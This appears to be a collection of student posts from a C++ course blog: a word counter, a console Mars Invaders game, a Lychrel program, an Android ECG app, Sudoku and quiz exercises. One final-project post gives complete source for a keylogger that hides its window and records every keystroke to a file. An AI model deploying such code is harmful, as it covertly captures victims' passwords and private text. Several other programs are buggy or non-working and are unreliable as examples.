#WSQ12-Word count

Este programa me gusto, aunque no funciona como debería capilla pero no muestra ninguna resultado aun así dejo el código:

#include <iostream>
#include <string>
#include <fstream>
using namespace std;
int find_word(string word, string tipo){
string line;
int cont=0;
ifstream myfile(tipo);
if (myfile.is_open()){

while ( getline (myfile,line) ){
if(‘line’ == ‘word’){
cont=cont+1;
}
// cout << line << endl;
}
myfile.close();
}
else {
cout<<“CANNOT OPEN THE FILE”<<endl;
}
cout<<“The word…”<<word<<“… is used “<<cont<<” times.”<<endl;
return cont;
}

int main(int argc, char const *argv[]) {
string word, tipo;
int cont;
std::cout << “Please type the word you want to search.” << std::endl;
std::cin >> word;
std::cout << “Please enter the name of the file to search the word” << std::endl;
std::cin >> tipo;
find_word(word, tipo);
return 0;
}

Captura de pantalla 2016-05-14 a las 10.48.52.png

Final Project

For the Final Project my team and I created the famous game Atari Mars Invaders. During the developement of the project we learned lots of things related to the gui on programming. We also learned how to create the “controls” for the game.

It was very exciting to have an open project for the end of the course instead of a given project by the teacher. We could learn just by making something we love to do.

The code for the game is here.

Atari Mars Invaders

Atari

 

PROYECTO FINAL!!

Hey todo llega a su final y este curso no es la excepción, y como proyecto final creamos una copia del famoso juego de Atari Mars Invaders!!

 

lo hicimos entre Miguel Briseño, Alan Martinez y yo, Guillermo Serrano.unnamed.jpg

fue un proyecto complejo pero divertido en el que aprendimos muchas cosas muy importantes.

pero aquí tenemos un vídeo de como funciona: https://youtu.be/wCx3FjJlTEA

y nuestro hermoso codigo:

#include<stdio.h>
#include <windows.h>
#include <conio.h>
#include<cstdlib>
#define arriba 72
#define abajo 80
#define derecha 77
#define izquierda 75
#include <list>
using namespace std;

void posicion(int x,int y){
HANDLE hCon; //con esta fncion se definen los
hCon = GetStdHandle(STD_OUTPUT_HANDLE); //valores de las coordenadas para que los
COORD dwPos; //objetos se desplacen por la pantalla
dwPos.X= x;
dwPos.Y = y;
SetConsoleCursorPosition(hCon,dwPos);
}

void ocultar(){
HANDLE hCon;
hCon = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cur;
cur.dwSize = 50;
cur.bVisible = FALSE;
SetConsoleCursorInfo(hCon,&cur);

}

void limites (){
for (int i = 1 ; i<= 78; i++){ // en esta funcion se declaran los movimientos
posicion(i,3); // y los limites en los ejes “x” y “y”
printf (“%c”,240); // el numero 240 es el codigo ascii para el caracter “-”
} // al igual que el 219 para el caracter “█” que es un cuadro
for (int i = 1 ; i<= 78; i++){ // para dibujar los limites de donde se va a jugar.
posicion(i,34); // se llama a la funcion posicion () para dar las posiciones en la pantalla
printf (“%c”,240);
}
for (int i = 4 ; i<= 33; i++){
posicion(1,i);
printf (“%c”,219);

}
for (int i = 4 ; i<= 33; i++){
posicion(78,i);
printf (“%c”,219);

}
}
class NAVE{
public: int x,y,cor,vidas;
public :
NAVE(int _x,int _y,int _cor,int _vidas):x(_x), y(_y),cor(_cor),vidas(_vidas){}
int X (){return x;}
int Y (){return y;}
void dibujar();
void

maxresdefault.jpg

Continue reading “PROYECTO FINAL!!”

#WSQ12

#include “BigIntegerLibrary.hh”
#include <iostream>
#include <string>
using namespace std;

BigInteger lychrel (BigInteger x){

string z = bigIntegerToString(x);
lychrel(z.begin(), z.end());
BigInteger lychrel = stringToBigInteger(z);
return lychrel;
}

int main() {
int inferior,superior, p, k, number, a=0;
int f=0, n=0;
BigInteger y, c=0, suma=0;

cout << “Dame el limite inferior”;
cin>>inferior;

cout<< “Dame el limite superior”;
cin>>superior;

for(c=inferior; c<=superior; c++){
for(BigInteger m=count; m<=count;m++){

y= lychrel(m); suma=y+c;}

if(c==y) {
n=n+1;
} else {
int times= 0;

BigInteger numero = c;
y=lychrel(numero);

while(times<30 && numero!=y){

number = numero+y;
y = lychrel(numero);
times = times+1;
}
if(times < 30){
a = a+1;
} else {
cout << “Lychrel found ” <<c<< endl;
f = f+1;
}
}
}

cout <<“The palindrom is: ” << n <<endl;
cout<<“Non lychrel become palindrom in one interacion: “<<a<<endl;
cout<<“The lychrel is: “<<f<<endl;

return 0;
}

Proyecto final

Programación de una Aplicación para Android con app-inventor de: http://ai2.appinventor.mit.edu/

La aplicación permite enviar datos a un micro controlador  MC9S08QG8 de Freescale, desde una base datos en un archivo .txt, los archivos son leidos desde la app y convertidos en una array, el micro se conecta por bluetooth al celular. El micro los recibe y los expulsa como bits a un DAG (convertidor digital a analógico) para simular la señal de un ECG. Las base de datos son señales de ECG con diferentes patologías.

Interface:

13148274_10209327606007537_1129326594_o.png

Barcode link para descargar app:

Diseño de la interface:

Captura de pantalla 2016-05-12 16.34.09.png

Pseudo-código

Captura de pantalla 2016-05-12 16.38.40.png

Captura de pantalla 2016-05-12 16.38.54.png

Archivo .aia para editar:

https://www.dropbox.com/s/hix0gve8swzre5x/ASyS_2%20%282%29.aia?dl=0

Proyecto final Keyloger (Diego Nateras, Alberto Rodriguez y Daniel Mejia)

Aqui esta nuestro proyecto final, es un keylogger que nos costo mucho tiempo hacer, sea como sea nos parece que valio la pena. Aqui les dejo el codigo c++. Esperamos le guste.

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;

void log();
void hider();

int main (){
hider();
log();
return 0;
}

void log(){
char key;
for(;;)
{
//sleep(0);
for(key=8; key <=222; key++)
{
if(GetAsyncKeyState(key)==-32767){
ofstream write (“record.txt”, ios::app);

if((key>64)&&(key<91)&&!(GetAsyncKeyState(0x10)))
{
key+=32;
write << key;
write.close();
break;
}
else if ((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
switch(key){
case 8: write << “<BackSpace>”;
case 27: write << “<ESC>”;
case 127: write << “<DEL>”;
case 32: write << “< >”;
case 13: write << “<Enter>”;

}

}
}
}
}
void hider()
{
HWND stealth;
int ALLocConsole();
stealth=FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(stealth,0);
}

Final Project: Sudoku

#TC1017

I choose this project because when I was still in high school I saw some dude programming this and thought it was very cool and just as a personal challenge I tried to figure out on my own if I could make such a programm. Turns out I can!

While there are still some flaws or things I would still change, such as have colored output and make some functions smarter, it still is completely playable and you can download any sudoku text file and try to solve it using my code.

I learned a lot while making this game, specially how easy vectors are to use, as opposite to arrays, which just passing as paramaters is a nightmare. Also reading and opening files was another skill I developed while programming this.

The hardest bit was coming up with a function that would check for repetitions inside a matrix, and I think just doing that was maybe like 6o% of the whole work.

Many ideas and insipration came from this guy’s code online:

Sudoku Program in C++

only I decided to do it my way using something simpler but not as fancy. His code just gave me an idea of the kinds of functions I had to implement, how to implement them was completely up to me.

I have to say I feel satisfied with this project since it was a great way to summarize most of the content of the course.

 

Screenshot:

Captura

GitHub link with code and txt file: https://github.com/diegodamy/Sudoku


WAQ14 Scilab

Scilab es un herramienta muy poderosa y ha tenido tanta fama debido a que es gratis. Es un programa de procesamiento de datos matemáticos con mucho potencial. Este requiere de programación para poder utilizarlo. En lo personal lo he utilizado muy poco, pero hablando con mi maestra de matemáticas  nos comento que aunque tiene mucho poder y que es gratis, Scilab se ve opacado por softwares como R y Matlab, siendo R gratuito y Matlab de paga. Los tres requieren de una programacion muy parecida. Asi que vale la pena aprender a programar en cualquiera de estos 3 softwares ya que va a ser algo que vamos a necesitar durante toda nuestra carrera y vida porfecional como ingenieros.

Quiz

Quiz 1

#include <iostream>
#include <conio.h>
using namespace std;
int main()
{
float r, h, v;
cout<<“Dame el radio: “;
cin>>r;
cout<<“Dame la altura: “;
cin>>h;
v=3.1416*r*r*h;
cout<<“el resultado es “<<v;
getch();
return 0;
}

#include <iostream>
#include <conio.h>
#include <cstring>
using namespace std;
int main()
{
int resul2, num1, num2,resul3;
float resul1;
cout<<“Dame un numero: “;
cin>>num1;
cout<<“Dame otro numero: “;
cin>>num2;
resul3=num1*num2;
resul2=(int)num1/num2;
resul1=num1/num2;
cout <<“nEl resultado de multiplicarlos es “<<resul3;
cout <<“nTu resultado de una division entera es “<<resul2;
cout <<“nEl resultado de una division con decimales es “<<resul1;
}

#include <iostream>
#include <conio.h>
#include <cstring>
using namespace std;
int main()
{
int resul2, resul1, resul3, resul4;
float num1, num2;
cout<<“Dame un numero: “;
cin>>num1;
cout<<“Dame otro numero: “;
cin>>num2;
resul1=num1*num2;
resul2=num1/num2;
resul3=num1+num2;
resul4=num1-num2;
cout <<“nEl resultado de multiplicarlos es “<<resul1;
cout <<“nEl resultado de una division es “<<resul2;
cout <<“nEl resultado de una suma es “<<resul3;
cout <<“nEl resultado de resta es “<<resul4;
}

Quiz 2

#include <iostream>
#include <stdio.h>
using namespace std;
int main()
{
int num, i;
i=1;
cout<<“nCuantos estrellas quieres: “;
cin>>num;
do
{
i++;
cout <<“*”;
} while(i<=num);
getchar();
return 0;
}

#include<iostream>
#include<math.h>
long superpower(long a,long b)
{
using namespace std;
long res;
res=pow(a,b);
cout << “El resultado de “<<a<<“^”<<b<<“=”<<res<<endl;
}
int main(){
using namespace std;
long base,exp;
cout << “Dame la base del numero a elevar”<<endl;
cin>>base;
cout << “Dame el exponente del numero a elevar”<<endl;
cin>>exp;
superpower(base,exp);
system(“pause”);
return 0;
}

Quiz 3

#include <iostream>
#include <cmath>
#include <math.h>
#include <conio.h>
#include <stdio.h>
using namespace std;
int main()
{
int x1,x2,y1,y2;
double x,y,result;
cout <<“nDame la cooordenada x de el eje x del primer punto”<<endl;
cin>>x1;
cout <<“nDame la cooordenada x de el eje y del primer punto”<<endl;
cin>>y1;
cout

Continue reading “Quiz”